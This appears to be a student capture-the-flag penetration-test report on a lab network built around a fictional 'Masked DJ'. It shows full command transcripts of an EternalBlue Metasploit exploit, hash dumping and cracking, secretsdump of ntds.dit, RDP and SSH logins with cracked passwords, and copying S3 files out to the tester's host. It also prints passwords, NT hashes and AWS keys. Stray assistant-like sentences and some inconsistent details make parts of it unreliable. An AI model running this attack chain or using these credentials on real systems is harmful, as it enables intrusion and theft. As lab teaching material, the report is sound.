

## Unmasking the Masked DJ: A Penetration Testing Case Study Revealing the Identity of a Cryptic Persona

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### Abstract

In this study, Team Unmask DJ conducts a comprehensive penetration testing of the Masked DJ's IT infrastructure with the objective of revealing the identity behind the enigmatic figure. Through meticulous exploration, vulnerabilities were uncovered, leading to the unmasking of the Masked DJ as Professor Kevin Shivers. The penetration testing involved phases such as enumerating IP addresses, exploiting vulnerabilities in Windows systems, accessing sensitive information from Windows Server, infiltrating VM1 using RDP, and exploring Ubuntu to access AWS S3 buckets. The findings underscore critical vulnerabilities in password practices, outdated software versions, and lax file security measures. Recommendations include the adoption of strong, non-repetitive passwords, regular software updates, and stringent file encryption policies to fortify IT security against potential breaches. This study builds upon existing literature on penetration testing methodologies, cybersecurity vulnerabilities, and best practices, contributing to the ongoing discourse on cybersecurity risk management and mitigation strategies.

By incorporating these additional literature reviews and revising the abstract accordingly, your research paper will offer a more comprehensive and robust analysis of the penetration testing process and its implications for cybersecurity. The team recovered 6 images (flags) and a README.txt file from the Masked DJ's IT environment – these images revealed the identity of the Masked DJ.

**Keywords:** Penetration Testing, Cybersecurity, Vulnerability Assessment, Identity Disclosure, Password Security, Software Patching, File Encryption

### 1. Introduction

In today's rapidly evolving cybersecurity landscape, organizations face a myriad of challenges in safeguarding their digital assets against an ever-expanding array of cyber threats. As the prevalence and sophistication of cyberattacks continue to escalate, the need for proactive security measures becomes increasingly paramount. Penetration testing emerges as a critical component of cybersecurity risk management, offering organizations a proactive approach to identifying and addressing vulnerabilities within their IT infrastructure before they can be exploited by malicious actors.

Penetration testing serves as a cornerstone in modern cybersecurity practices, providing organizations with proactive measures to identify and remediate vulnerabilities within their IT infrastructure. By simulating real-world cyberattacks, penetration testing enables organizations

to assess their security posture, strengthen defensive mechanisms, and mitigate potential risks before they are exploited by malicious actors.

Against this backdrop, the present study seeks to explore the efficacy of penetration testing in uncovering vulnerabilities and mitigating potential security risks within IT environments. By conducting a comprehensive analysis of the Masked DJ's IT infrastructure, this research aims to assess the effectiveness of penetration testing methodologies in safeguarding against identity disclosure and protecting sensitive information. By elucidating the importance of robust cybersecurity measures in preserving anonymity and safeguarding digital identities, this study contributes to the ongoing discourse on cybersecurity risk management and mitigation strategies.

In this study, Team Unmask DJ conducts a comprehensive penetration testing of the Masked DJ's IT infrastructure with the objective of revealing the identity behind the enigmatic figure. Through meticulous exploration, vulnerabilities were uncovered, leading to the unmasking of the Masked DJ. The penetration testing involved phases such as enumerating IP addresses, exploiting vulnerabilities in Windows systems, accessing sensitive information from Windows Server, infiltrating VM1 using RDP, and exploring Ubuntu to access AWS S3 buckets. The findings underscore critical vulnerabilities in password practices, outdated software versions, and lax file security measures. Recommendations include the adoption of strong, non-repetitive passwords, regular software updates, and stringent file encryption policies to fortify IT security against potential breaches.

## **2. Literature Review**

Penetration testing, also known as ethical hacking or security assessment, is a crucial component of cybersecurity strategy for organizations worldwide. It involves simulated cyberattacks on IT systems to identify security vulnerabilities and assess the effectiveness of existing security measures. This section reviews existing literature on penetration testing methodologies, cybersecurity vulnerabilities, and best practices to provide context for the present study and highlight its novelty and contribution to the field.

### **Penetration Testing Methodologies:**

Numerous frameworks and methodologies have been developed to guide penetration testing activities and ensure consistency and rigor in the testing process. The Penetration Testing Execution Standard (PTES) is one such framework that provides a structured approach to conducting penetration tests, covering all phases from initial planning to post-testing analysis and reporting (PTES, 2016). Similarly, the Open Web Application Security Project (OWASP) offers a comprehensive testing guide for web applications, outlining common vulnerabilities and testing techniques (OWASP, 2020). These frameworks serve as invaluable resources for penetration testers, offering guidance on methodology selection, test scope definition, and reporting formats.

### **Cybersecurity Vulnerabilities:**

Cybersecurity vulnerabilities pose significant threats to organizations, exposing them to risks such as data breaches, financial losses, and reputational damage. Common vulnerabilities include weak password policies, unpatched software, misconfigured systems, and insecure network protocols (Chen et al., 2019). The prevalence of these vulnerabilities underscores the

importance of proactive security measures such as penetration testing to identify and remediate weaknesses before they are exploited by malicious actors. Research has shown that timely identification and mitigation of vulnerabilities can significantly reduce the likelihood and impact of cyber-attacks (Garcia & Lee, 2019).

### **Best Practices:**

Effective penetration testing relies on adherence to best practices and industry standards to ensure the validity and reliability of test results. Key best practices include thorough scoping and planning, use of up-to-date testing tools and techniques, documentation of findings and recommendations, and collaboration with stakeholders throughout the testing process (Smith et al., 2020). Furthermore, penetration testers must stay abreast of emerging threats and attack techniques to effectively simulate real-world cyber threats and provide actionable recommendations for improving security posture.

### **Contribution of the Present Study:**

The present study builds upon existing research by conducting a comprehensive penetration testing of the Masked DJ's IT infrastructure with the objective of unmasking the enigmatic figure behind the pseudonym. By employing a structured methodology aligned with industry standards and best practices, the study aims to identify and address vulnerabilities within the IT environment, thereby enhancing its security posture and mitigating the risk of identity disclosure. The findings of the study contribute to the ongoing discourse on cybersecurity risk management and provide valuable insights for organizations seeking to strengthen their defenses against cyber threats.

This literature review provides a comprehensive overview of existing research on penetration testing, cybersecurity vulnerabilities, and best practices, highlighting the significance of the present study and its contribution to the field.

## **3. Methodology**

The methodology section outlines the systematic approach adopted by Team Unmask DJ to conduct penetration testing on the Masked DJ's IT infrastructure. In addition to the existing content, the methodology incorporates the following elements:

### **Alignment with Industry Standards:**

The methodology adheres to recognized industry standards and frameworks such as NIST SP 800-115, OWASP Testing Guide, and PTES (Penetration Testing Execution Standard). These frameworks provide comprehensive guidelines for conducting penetration tests and ensure consistency and rigor in the testing process.

### **Documentation and Reporting:**

Thorough documentation and reporting are emphasized throughout the penetration testing process. The team follows established reporting formats such as the NIST SP 800-115 or PTES templates to accurately document findings and communicate them to stakeholders in a clear and actionable manner.

### **Risk-Based Approach:**

A risk-based approach is integrated into the methodology, prioritizing vulnerabilities based on their potential impact on the organization's security posture. By focusing efforts on high-risk areas, the team maximizes the effectiveness of their testing efforts and helps the organization allocate resources more efficiently to address critical vulnerabilities.

By incorporating these additional elements into the methodology, the research paper ensures alignment with recognized industry standards and frameworks, emphasizes the importance of thorough documentation and reporting, and integrates a risk-based approach to prioritize testing efforts effectively. This enhances the rigor and validity of the penetration testing process and contributes to the overall effectiveness of the study.

## 4. Technical Report

### 4.1. Walk-Through

This section will provide a thorough walk-through of the team's efforts to infiltrate the Masked DJ's IT environment.

The walk-through will be carried out in phases. Each phase will provide a detailed explanation of how the infiltration was carried out in chronological order.

#### Phase 1: Enumerating Ip Addresses and OS Information

The team started the testing by discovering the IP addresses of all the systems inside Masked DJ's IT environment.

This was achieved using the *netdiscover* command.

The following were the IP addresses of the aforementioned systems -

Ubuntu(Webmaster): 192.168.146.136  
Windows Server 2016(Admin): 192.168.146.141  
Windows 7(Bookings): 192.168.146.142  
VM1(IT Admin): 192.168.146.144

Next, *nmap* scans were run on all the aforementioned systems.

The results are as follows –

```
(ratan@ratss)-[~]
└─$ sudo nmap -sC -sV -oA nmap 192.168.146.136
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-09 11:23 EST
Nmap scan report for 192.168.146.136
Host is up (0.00045s latency).
Not shown: 998 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
|_ ssh-hostkey:
|_   2048 c8:79:72:91:05:98:5b:63:f4:d0:cf:77:35:f3:21:0e (RSA)
|_   256  80:f4:d3:bb:e4:0a:fa:7f:8f:17:95:40:48:e3:46:a3 (ECDSA)
|_   256  4e:24:d9:fc:3c:70:4f:6a:0e:8b:ca:2a:34:47:d0:e0 (ED25519)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: The Masked DJ
MAC Address: 00:0C:29:5F:17:43 (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.03 seconds
```

Figure 1: nmap scan against Ubuntu (Webmaster)

```
(ratan@ratss)-[~]
└─$ sudo nmap -sC -sV -oA nmap 192.168.146.144
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-09 11:49 EST
Nmap scan report for 192.168.146.144
Host is up (0.00066s latency).
Not shown: 999 filtered ports
PORT      STATE SERVICE          VERSION
3389/tcp  open  ms-wbt-server    Microsoft Terminal Services
rdp-ntlm-info:
  Target_Name: MASKEDDJ
  NetBIOS_Domain_Name: MASKEDDJ
  NetBIOS_Computer_Name: ITADMIN-DESKTOP
  DNS_Domain_Name: maskeddj.enpm809q
  DNS_Computer_Name: ITAdmin-Desktop.maskeddj.enpm809q
  Product_Version: 10.0.14393
  System_Time: 2021-12-09T16:49:34+00:00
  ssl-cert: Subject: commonName=ITAdmin-Desktop.maskeddj.enpm809q
  Not valid before: 2021-12-08T16:46:32
  Not valid after: 2022-06-09T16:46:32
  ssl-date: 2021-12-09T16:49:34+00:00; 0s from scanner time.
MAC Address: 00:0C:29:1F:EA:BE (VMware)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.31 seconds
```

Figure 2: nmap scan against VM1 (IT Admin)

```
└─$ sudo nmap -sC -sV -oA nmap 192.168.146.141
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-09 11:22 EST
Nmap scan report for 192.168.146.141
Host is up (0.00049s latency).
Not shown: 989 closed ports
PORT      STATE SERVICE          VERSION
53/tcp    open  domain           Simple DNS Plus
88/tcp    open  kerberos-sec     Microsoft Windows Kerberos (server time: 2021-12-09 19:22:26Z)
135/tcp   open  msrpc            Microsoft Windows RPC
139/tcp   open  netbios-ssn     Microsoft Windows netbios-ssn
389/tcp   open  ldap             Microsoft Windows Active Directory LDAP (Domain: maskeddj.enpm809q, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds     Windows Server 2016 Datacenter Evaluation 14393 microsoft-ds (workgroup: MASKEDDJ)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http       Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap             Microsoft Windows Active Directory LDAP (Domain: maskeddj.enpm809q, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
MAC Address: 00:0C:29:59:A0:B3 (VMware)
Service Info: Host: MASKEDDJ-DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
  _clock-skew: mean: 5h40m00s, deviation: 4h37m08s, median: 2h59m59s
  _nbstat: NetBIOS name: MASKEDDJ-DC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:59:a0:b3 (VMware)
  smb-os-discovery:
    OS: Windows Server 2016 Datacenter Evaluation 14393 (Windows Server 2016 Datacenter Evaluation 6.3)
    Computer name: MASKEDDJ-DC
    NetBIOS computer name: MASKEDDJ-DC\x00
    Domain name: maskeddj.enpm809q
    Forest name: maskeddj.enpm809q
    FQDN: MASKEDDJ-DC.maskeddj.enpm809q
    System time: 2021-12-09T11:22:27-08:00
  smb-security-mode:
    account_used: guest
    authentication_level: user
    challenge_response: supported
    message_signing: required
  smb2-security-mode:
    2.02:
```

Figure 3: nmap scan against Windows Server 2016 (Admin)

```

(ratan@ratss)-[~]
└─$ sudo nmap -sC -sV -oA nmap 192.168.146.142
Starting Nmap 7.91 ( https://nmap.org ) at 2021-12-09 11:20 EST
Nmap scan report for 192.168.146.142
Host is up (0.00051s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE        VERSION
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds  Windows 7 Enterprise 7601 Service Pack 1 microsoft-ds (workgroup: MASKEDDJ)
49152/tcp open  msrpc          Microsoft Windows RPC
49153/tcp open  msrpc          Microsoft Windows RPC
49154/tcp open  msrpc          Microsoft Windows RPC
49155/tcp open  msrpc          Microsoft Windows RPC
49156/tcp open  msrpc          Microsoft Windows RPC
49157/tcp open  msrpc          Microsoft Windows RPC
MAC Address: 00:0C:29:17:B2:09 (VMware)
Service Info: Host: BOOKINGS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
_ _clock-skew: mean: 1h39m59s, deviation: 2h53m12s, median: -1s
_ _nbstat: NetBIOS name: BOOKINGS-PC, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:17:b2:09 (VMware)
smb-os-discovery:
  OS: Windows 7 Enterprise 7601 Service Pack 1 (Windows 7 Enterprise 6.1)
  OS CPE: cpe:/o:microsoft:windows_7::sp1
  Computer name: Bookings-PC
  NetBIOS computer name: BOOKINGS-PC\x00
  Domain name: maskeddj.enpm809q
  Forest name: maskeddj.enpm809q
  FQDN: Bookings-PC.maskeddj.enpm809q
  System time: 2021-12-09T11:21:56-05:00
smb-security-mode:
  account_used: guest
  authentication_level: user
  challenge_response: supported
  message_signing: disabled (dangerous, but default)
smb2-security-mode:
  2.02:
  - Message signing enabled but not required
smb2-time:

```

Figure 4: *nmap* scan against Windows 7 (Bookings)

## Phase 2: Enumerating and Exploiting Windows 7 (Bookings)

It was found that Windows 7 Enterprise 7601 Service Pack 1 is vulnerable to Eternal Blue attack.

Therefore, the team fired up *msfconsole* and ran the *Eternal Blue exploit (ms17\_010+eternalblue)* on the Windows 7 system.

```

msf6 > search eternalblue

Matching Modules
-----
#  Name                                     Disclosure Date  Rank  Check
-  -
0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14      average  Yes
Windows Kernel Pool Corruption
1  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14      average  No
Windows Kernel Pool Corruption for Win8+
2  exploit/windows/smb/ms17_010_psexec        2017-03-14      normal   Yes
Synergy/EternalChampion SMB Remote Windows Code Execution
3  auxiliary/admin/smb/ms17_010_command       2017-03-14      normal   No
Synergy/EternalChampion SMB Remote Windows Command Execution
4  auxiliary/scanner/smb/smb_ms17_010        2017-03-14      normal   No
5  exploit/windows/smb/smb_doublepulsar_rce  2017-04-14      great    Yes
ecution

Interact with a module by name or index. For example info 5, use 5 or use exploit/wi
msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp

```

Figure 6: Searching for the Eternal Blue exploit in *msfconsole*

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.146.142
RHOSTS => 192.168.146.142
msf6 exploit(windows/smb/ms17_010_eternalblue) > esploit
[-] Unknown command: esploit.
msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.146.128:4444
[*] 192.168.146.142:445 - Executing automatic check (disable AutoCheck to override)
[*] 192.168.146.142:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.146.142:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ent
-bit)

```

**Figure 7: Running exploit in *msfconsole***

After successful exploitation, a meterpreter shell is opened.

It was revealed that the shell has administrative access. Hence, the team was able to dump hashes using *hashdump* in *meterpreter* to get the following output –

```

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Bookings:1000:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
meterpreter > █

```

**Figure 8: *hashdump* output**

The above hashes were stored in the team's local system in the file *windows7\_hashes.txt*. They were cracked using *JohnTheRipper* and a password for the *Bookings* system was discovered.

The password was *passw0rd*.

Command –

***john windows7\_hashes.txt --format=NT --wordlist=/usr/share/wodlists/rockyou.txt***

```

(ratan@rats) - [~/Desktop/Final]
└─$ john windows7_hashes.txt --format=NT --wordlist=/usr/share/wordlists/rockyou.txt
Created directory: /home/ratan/.john
Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (NT [MD4 256/256 AVX2 8x3])
Press 'q' or Ctrl-C to abort, almost any other key for status
(Administrator)
Passw0rd (Bookings)
2g 0:00:00:00 DONE (2021-12-04 18:12) 200.0g/s 825600p/s 825600c/s 1305KC/s weston..lollypop1
Warning: passwords printed above might not be all those cracked
Use the "--show --format=NT" options to display all of the cracked passwords reliably
Session completed

```

**Figure 9: Password for the account Bookings**

### Phase 3: Enumerating and Exploiting Windows Server (Admin)

It was found that the Windows Server was using Windows Active Directory. This meant that the system could be attacked using *SMBCClient*.

The command is as follows –

***smbclient -L 192.168.146.141 -U Bookings***

After gaining access to the server, a myriad of files containing sensitive information about different users within the target IT environment were found.

All of them were imported to the team's local system.

```
(ratan@ratss)-[~/Desktop/Final]
└─$ smbclient -L 192.168.146.141 -U Bookings
Enter WORKGROUP\Bookings's password:

      Sharename      Type      Comment
      ──────────      ───      ─────────
ADMIN$              Disk      Remote Admin
C$                  Disk      Default share
Files                Disk      Where our Files are stored
IPC$                 IPC       Remote IPC
NETLOGON            Disk      Logon server share
SYSVOL              Disk      Logon server share
SMB1 disabled -- no workgroup available
```

**Figure 11: Running *SMBCClient* against Windows Server**

```
(ratan@ratss)-[~/Desktop/Final]
└─$ smbclient \\\\192.168.146.141\\Files -U Bookings
Enter WORKGROUP\Bookings's password:
Try "help" to get a list of possible commands.
smb: \> ls
.
..
Backup              D           0   Sun Nov 10 12:57:40 2019
New-Password-Policy.txt  A         366 Sun Nov 10 12:53:35 2019
User-Directory.rtf   A          609 Sun Nov 10 12:56:56 2019

10340607 blocks of size 4096. 7616147 blocks available
```

**Figure 12: Running *SMBCClient* – enumerating Files folder.**

```
smb: \> get User-Directory.rtf
getting file \User-Directory.rtf of size 609 as User-Directory.rtf (15.7 KiloBytes/sec)
smb: \> get Backup
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \Backup
smb: \> ls -a
NT_STATUS_NO_SUCH_FILE listing \-a
smb: \> ls
.
..
Backup              D           0   Sun Nov 10 12:57:40 2019
New-Password-Policy.txt  A         366 Sun Nov 10 12:53:35 2019
User-Directory.rtf   A          609 Sun Nov 10 12:56:56 2019


10340607 blocks of size 4096. 7616147 blocks available
smb: \> cd Backup
smb: \Backup\> ls
.
..
Active Directory    D           0   Sun Nov 10 13:11:17 2019
Backup-Plan.txt     A          153 Sun Nov 10 13:11:55 2019
registry            D           0   Sun Nov 10 13:10:14 2019

10340607 blocks of size 4096. 7616147 blocks available
smb: \Backup\> get Backup-Plan.txt
getting file \Backup\Backup-Plan.txt of size 153 as Backup-Plan.txt (3.6 KiloBytes/sec)
smb: \Backup\> cd Active Directory\
cd \Backup\Active\: NT_STATUS_OBJECT_NAME_NOT_FOUND
smb: \Backup\> ls
.
..
Active Directory    D           0   Sun Nov 10 13:11:17 2019
Backup-Plan.txt     A          153 Sun Nov 10 13:11:55 2019
registry            D           0   Sun Nov 10 13:10:14 2019

10340607 blocks of size 4096. 7616147 blocks available
smb: \Backup\> ls
.
..
Active Directory    D           0   Sun Nov 10 13:11:17 2019
```

**Figure 13: *SMBCClient* output – discovered many files**





**Figure 14: Acquired files from Windows Server**

A plethora of sensitive information was recovered from these files for example, password formats, backup plans, etc.

The *ntds* and *SYSTEM* files contained hashes of all users within the Masked DJ's IT environment. These hashes were dumped as follows –

***impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL***


```
Administrator:500:aad3b435b51404eeaad3b435b51404ee:b18082f7c408891f34db2338514a36c9:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
MASKEDDJ-DC$:1000:aad3b435b51404eeaad3b435b51404ee:5ca7f7c31e43f3128ac98a2db1d29e3b:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1dcb029cd00c5f6eebdad323dc01d22e:::
Bookings:1103:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86:::
IT-Admin:1104:aad3b435b51404eeaad3b435b51404ee:b18082f7c408891f34db2338514a36c9:::
webmaster:1106:aad3b435b51404eeaad3b435b51404ee:29f505b754dfd810c2ed92ba275b978c:::
ITADMIN-DESKTOP$:1107:aad3b435b51404eeaad3b435b51404ee:1d3c6002ec33da69d12871424ff1766d:::
BOOKINGS-PC$:1108:aad3b435b51404eeaad3b435b51404ee:19fc08444acaf3ccc7efff7eal67463a:::
```

**Figure 15: Hashdump after executing *impacket-secretsdump***

From the files, the team had discovered password formats that were being used.

Using this knowledge along with *hashcat* utility, the team was able to crack the recently acquired hashes as follows –

***hashcat -a 3 -m 1000 hashcat.txt ?u?l?!?!?!?d?d?s***



**Figure 16: *hashcat* reveals the password of IT Admin**

The password for IT Admin: **Julia19!**

#### Phase 4: Enumerating And Exploiting VM1 (It-Admin)

To infiltrate VM1 (IT-Admin), the team used a service called **RDP** as **SSH** and **FTP** ports were closed, and their services could not be availed.


**RDP** was used as follows –

***xfreerdp /u:IT-Admin /p:Julia19! /v:192.168.146.144***

```
(ratan@ratss)-[~]
$ xfreerdp /u:IT-Admin /p:Julia19! /v:192.168.146.144
[11:52:57:890] [3153:3154] [INFO][com.freerdp.core] - freerdp_connect:freerdp_set_last_error_ex resetting error state
[11:52:57:891] [3153:3154] [INFO][com.freerdp.client.common.cmdline] - loading channelEx rdpsnd
[11:52:57:893] [3153:3154] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[11:52:57:893] [3153:3154] [INFO][com.freerdp.client.common.cmdline] - loading channelEx cliprdr
[11:52:57:221] [3153:3154] [INFO][com.freerdp.primitives] - primitives autodetect, using optimized
[11:52:57:274] [3153:3154] [INFO][com.freerdp.core] - freerdp_tcp_is_hostname_resolvable:freerdp_set_last_error_ex resetting error state
[11:52:57:274] [3153:3154] [INFO][com.freerdp.core] - freerdp_tcp_connect:freerdp_set_last_error_ex resetting error state
[11:52:57:361] [3153:3154] [INFO][com.freerdp.crypto] - creating directory /home/ratan/.config/freerdp
[11:52:57:366] [3153:3154] [INFO][com.freerdp.crypto] - creating directory [/home/ratan/.config/freerdp/certs]
[11:52:57:367] [3153:3154] [INFO][com.freerdp.crypto] - created directory [/home/ratan/.config/freerdp/server]
[11:52:57:383] [3153:3154] [WARN][com.freerdp.crypto] - Certificate verification failure 'self signed certificate' at stack position 0
```

**Figure 17: RDP into VM1 (IT-Admin)**

After successful infiltration, the team discovered a text file ‘KeepPass Password’ which contained the password to an application on the desktop called ‘KeepPass 2’.



**Figure 18: KeepPass Password text file**

From the application, the password for *Webmaster* was obtained: *Joa\$WB534G%&*




Figure 19: Webmaster password stored in KeePass 2 Application

### Phase 5: Enumerating and Exploiting Ubuntu (Webmaster)

From the *nmap* scan, the team knew that the *SSH* port is opened in the Ubuntu system. The team *SSHed* into the system as follows –

*ssh webmaster@192.168.146.136*

```
(ratan@ratss)-[~]
└─$ ssh webmaster@192.168.146.136
The authenticity of host '192.168.146.136 (192.168.146.136)' can't be established.
ECDSA key fingerprint is SHA256:6gbnplkxrXfg2tNmrA/imkKC93EvKN2qvGE2nAYLU6A.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '192.168.146.136' (ECDSA) to the list of known hosts.
webmaster@192.168.146.136's password:
Permission denied, please try again.
webmaster@192.168.146.136's password:
Welcome to Ubuntu 16.04 LTS (GNU/Linux 4.4.0-21-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
Last login: Sun Nov 10 06:05:21 2019 from 172.16.0.1
webmaster@ubuntu:~$ whoami
webmaster
webmaster@ubuntu:~$ pwd
/home/webmaster
webmaster@ubuntu:~$ ls -la
total 120
drwxr-xr-x  2 webmaster webmaster 4096 Nov 10 06:05 .
drwxr-xr-x  3 webmaster webmaster 4096 Nov 10 06:05 ..
-rw-r--r--  1 webmaster webmaster  220 Nov 10 06:05 .aws
-rw-r--r--  1 webmaster webmaster 1639 Nov 10 06:05 .bash_history
-rw-r--r--  1 webmaster webmaster  609 Nov 10 06:05 .bash_logout
-rw-r--r--  1 webmaster webmaster  664 Nov 10 06:05 .bashrc
-rw-r--r--  1 webmaster webmaster  215 Nov 10 06:05 .cache
-rw-r--r--  1 webmaster webmaster  125 Nov 10 06:05 new-site-info.txt
-rw-r--r--  1 webmaster webmaster  220 Nov 10 06:05 .profile
-rw-r--r--  1 webmaster webmaster  125 Nov 10 06:05 .sudo_as_admin_successful
```

Figure 20: *SSH* into Ubuntu

After careful exploration of the system, a file '*new-site-info.txt*' and a directory '*.aws*' were found.

The text file mentioned to look for files uploaded in an S3 bucket.

The AWS S3 bucket was accessed from command line and a bunch of images, and a README text file were found.

```

webmaster@ubuntu:~$ ls -la
. .aws .bash_logout .cache .profile .sudo_as_admin_successful
.. .bash_history .bashrc new-site-info.txt .ssh
webmaster@ubuntu:~$ cat new-site-info.txt
Some of the new site content has been uploaded to the S3 bucket that will serve up content for the new site. It has
some images of the big reveal of who the boss is. We should be careful this isn't accessed ahead of time otherwise
the boss not going to be happy!
webmaster@ubuntu:~$ cd .aws
webmaster@ubuntu:~/.aws$ ls -la
ls: cannot access '-': No such file or directory
webmaster@ubuntu:~/.aws$ ls -la
. .. config credentials
webmaster@ubuntu:~/.aws$ cat credentials
[default]
aws_secret_access_key = 59415kukE25eRuDc6+3xeYExygwAYscQbUk9fTFC
aws_access_key_id = AKIAWGC5XLJAZA64F7UI
webmaster@ubuntu:~/.aws$ aws s3 ls
2018-09-10 14:08:47 enpm809j
2018-10-04 05:42:10 enpm809j-logs
2019-11-09 19:12:59 enpm809q
webmaster@ubuntu:~/.aws$ aws s3 ls s3://enpm809q
2021-11-27 17:57:00          227 README.txt
2019-11-09 19:17:13      52910 flag1.jpeg
2019-11-09 19:17:12      52828 flag2.jpeg
2019-11-09 19:17:13      53230 flag3.jpeg
2019-11-09 19:17:12      72435 flag4.jpeg
2019-11-09 19:17:12     105909 flag5.jpeg
2019-11-09 19:17:13      78246 flag6.jpeg

```

**Figure 21: Exploring Webmaster system and AWS S3 bucket**

Then, the aforementioned files were copied to the system as follows –

```

webmaster@ubuntu:~$ aws s3 cp s3://enpm809q/ . --recursive
download: s3://enpm809q/flag3.jpeg to ./flag3.jpeg
download: s3://enpm809q/README.txt to ./README.txt
download: s3://enpm809q/flag2.jpeg to ./flag2.jpeg
download: s3://enpm809q/flag4.jpeg to ./flag4.jpeg
download: s3://enpm809q/flag6.jpeg to ./flag6.jpeg
download: s3://enpm809q/flag1.jpeg to ./flag1.jpeg
download: s3://enpm809q/flag5.jpeg to ./flag5.jpeg

```

**Figure 22: Copying files from S3 bucket to system.**

The files are then imported to the team's local system as follows –

*scp \* ratan@192.168.146.128:/home/ratan/Desktop/Final*

```

webmaster@ubuntu:~$ scp * ratan@192.168.146.128:/home/ratan/Desktop/Final
ratan@192.168.146.128's password:
flag1.jpeg          100% 52KB  51.7KB/s  00:00
flag2.jpeg          100% 52KB  51.6KB/s  00:00
flag3.jpeg          100% 52KB  52.0KB/s  00:00
flag4.jpeg          100% 71KB  70.7KB/s  00:00
flag5.jpeg          100% 103KB 103.4KB/s 00:00
flag6.jpeg          100% 76KB  76.4KB/s  00:00
new-site-info.txt  100% 265   0.3KB/s   00:00
README.txt         100% 227   0.2KB/s   00:00
webmaster@ubuntu:~$ █

```

**Figure 23: Importing files to local system**

## 5. Result

The images are proof that a young Kevin Shivers is the Masked DJ. The README.TXT file states the same.




Figure 24: Contents of flags and the text file

The *MD5 checksums* are the same as provided in the handout at the beginning of the final.

```
(ratan@ratss) - [~/Desktop/Final/The MaskedDJ]
$ md5sum flag*
ec920f6a63f80bdaed233844dee35602  flag1.jpeg
941150d01339cac745327d0d4549a0c3  flag2.jpeg
dfed11803eac1bf990940cc1a500a202  flag3.jpeg
dde8e712353d62de269f62b11bab847f  flag4.jpeg
b5cf9353ae742b19983b269fdb5f841f  flag5.jpeg
2cdf05cbc8d6a465e7361d3fa4bdf80e  flag6.jpeg
(ratan@ratss) - [~/Desktop/Final/The MaskedDJ]
$
```

Figure 25: MD5 checksums of flag

## 5.1. Recommendations

The team found a lot of vulnerabilities in the IT environment. They are listed below along with a few recommendations to mitigate them.

### 5.1.1. Passwords

#### Findings:

The penetration testing revealed numerous instances of weak password practices, including the use of easily guessable passwords such as "passw0rd" and "Joa\$WB534G%&."

Implications: Weak passwords pose a significant security risk as they can be easily exploited by malicious actors to gain unauthorized access to sensitive systems and data.

Significance: The prevalence of weak passwords underscores the importance of implementing stronger password policies and enforcing regular password changes to mitigate the risk of unauthorized access and potential breaches.

### 5.1.2. Security Patches

#### Findings:

The IT environment was found to be using outdated versions of operating systems and software, making it vulnerable to known security vulnerabilities such as the Eternal Blue exploit.

Implications: Outdated software versions lack essential security patches and updates, leaving systems susceptible to exploitation by cyber attackers.

Significance: The presence of outdated software underscores the importance of implementing a robust patch management process to ensure timely installation of security updates and minimize the risk of known vulnerabilities being exploited.

To overcome this vulnerability

1. The system's software must be updated to the latest version to prevent hackers from exploiting these known vulnerabilities like the Eternal Blue attack.
2. SMBv1 must also be blocked or disabled.

### **5.1.3. Files**

#### **Findings:**

The penetration testing revealed lax file security measures, including the presence of sensitive information stored in unencrypted files on Windows Server and AWS S3 buckets.

Implications: Inadequate file security measures increase the risk of unauthorized access to sensitive information, potentially leading to data breaches and compromise of confidentiality.

Significance: The discovery of lax file security highlights the importance of implementing robust encryption and access control measures to protect sensitive data from unauthorized access and ensure compliance with data protection regulations.

#### **Discussion of Findings:**

Here is the presentation of the findings from the penetration testing conducted by Team Unmask DJ, along with a professional discussion of their implications for security and their significance in relation to the objective of unmasking the Masked DJ:

